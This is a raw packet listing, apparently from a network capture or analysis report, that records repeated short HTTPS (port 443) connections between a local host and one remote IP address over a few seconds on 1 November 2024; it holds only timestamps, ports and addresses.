Nov 1, 2024 05:53:32.038882971 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.039345026 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.039350986 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.315125942 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.315644979 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.315665007 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.316116095 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.316124916 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.341787100 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.341856003 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.341917992 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.342075109 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.342087030 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.342097998 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.342103004 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.345161915 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.345186949 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.345258951 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.345458984 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.345469952 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.451072931 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.451206923 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.451261044 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.451272011 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.451343060 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.451390982 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.451472998 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.451479912 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.451491117 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.451494932 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.454269886 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.454349995 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.454447031 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.454606056 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.454639912 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.563919067 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.564404011 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.564425945 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.564881086 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.564887047 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.620685101 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.621189117 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.621201992 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.621654034 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.621659040 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.662616014 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.663242102 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.663295984 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.663681030 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.663692951 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.692631006 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.693098068 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.693159103 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.693186045 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.693197966 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.693209887 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.693212986 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.695883989 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.695903063 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.695966959 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.696085930 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.696095943 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.750403881 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.750428915 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.750468969 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.750485897 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.750530958 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.750694990 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.750705004 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.750714064 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.750718117 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.752867937 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.752899885 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.752994061 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.753142118 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.753154039 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.793889999 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.793943882 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.793997049 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.794125080 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.794167995 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.794198990 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.794214010 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.796308994 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.796328068 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.796405077 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.796528101 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:32.796536922 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.126760960 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.127268076 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.127280951 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.127737045 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.127743006 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.262953043 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.263001919 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.263134003 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.263195038 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.263233900 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.263372898 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.263386011 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.263395071 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.263398886 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.265866041 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.265903950 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.265988111 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.266148090 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.266163111 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.433660984 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.435040951 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.435056925 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.435507059 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.435512066 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.485877037 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.486253023 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.486268044 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.486679077 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.486684084 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.538094044 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.538588047 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.538597107 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.539144993 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.539149046 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.566108942 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.566131115 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.566162109 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.566185951 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.566219091 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.566361904 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.566370964 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.566401005 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.566405058 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.569524050 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.569535017 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.569591045 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.569742918 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.569752932 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.615243912 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.615309000 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.615401030 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.615679979 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.615700006 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.615710974 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.615717888 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.618525028 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.618565083 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.618645906 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.618807077 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.618823051 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.636045933 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.637506962 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.637587070 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.637953997 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.637972116 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.670027971 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.670051098 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.670115948 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.670116901 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.670166016 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.670444965 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.670450926 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.670460939 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.670464039 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.674024105 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.674036026 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.674092054 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.674264908 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.674273968 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.766261101 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.766350031 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.766402960 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.766525030 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.766567945 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.766596079 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.766612053 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.768969059 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.768996000 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:33.769053936 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.769174099 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:33.769188881 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.039522886 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.039953947 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.039964914 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.040365934 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.040370941 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.177165031 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.177197933 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.177253962 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.177263975 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.177328110 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.177572966 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.177572966 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.177588940 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.177601099 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.180519104 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.180537939 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.180627108 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.180788040 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.180799961 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.289338112 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.289904118 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.289916992 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.290364981 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.290368080 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.350649118 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.351174116 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.351192951 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.351604939 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.351609945 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.404993057 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.405400991 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.405412912 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.405776978 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.405780077 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.417022943 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.417047024 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.417081118 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.417102098 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.417150021 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.417352915 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.417362928 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.417372942 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.417378902 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.420042038 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.420063019 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.420144081 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.420304060 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.420315981 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.480469942 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.480556965 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.480614901 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.480739117 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.480755091 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.480766058 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.480771065 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.483041048 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.483062029 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.483139992 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.483278036 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.483289957 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.505812883 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.506191969 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.506207943 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.506597042 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.506602049 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.535795927 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.535816908 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.535851002 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.535902977 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.535939932 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.536099911 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.536104918 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.536119938 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.536122084 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.538170099 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.538193941 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.538268089 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.538399935 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.538412094 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.636590004 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.636635065 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.636676073 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.636862993 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.636873960 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.636883020 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.636887074 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.640507936 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.640532017 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.640582085 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.641000032 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.641010046 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.907046080 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.907510996 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.907529116 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:34.907967091 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:34.907973051 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.035828114 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.035857916 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.035901070 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.035929918 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.035975933 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.036283016 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.036292076 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.036300898 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.036305904 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.038839102 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.038894892 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.038971901 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.039242983 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.039259911 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.162048101 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.162604094 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.162615061 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.163078070 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.163083076 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.219733000 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.220109940 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.220119953 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.220520973 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.220525026 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.258512020 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.259054899 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.259109974 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.259473085 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.259485960 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.297261000 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.297308922 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.297373056 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.297560930 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.297569036 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.297595978 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.297600031 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.300369978 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.300390005 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.300472975 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.300623894 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.300635099 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.349708080 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.349744081 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.349798918 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.349852085 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.349888086 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.350131989 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.350142002 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.350152016 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.350156069 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.352781057 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.352847099 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.352924109 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.353064060 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.353081942 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.392606020 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.392647028 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.392705917 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.392893076 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.392904043 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.392914057 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.392918110 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.395440102 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.395467997 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.395555019 CET	49960	443	192.168.2.4	13.107.246.45
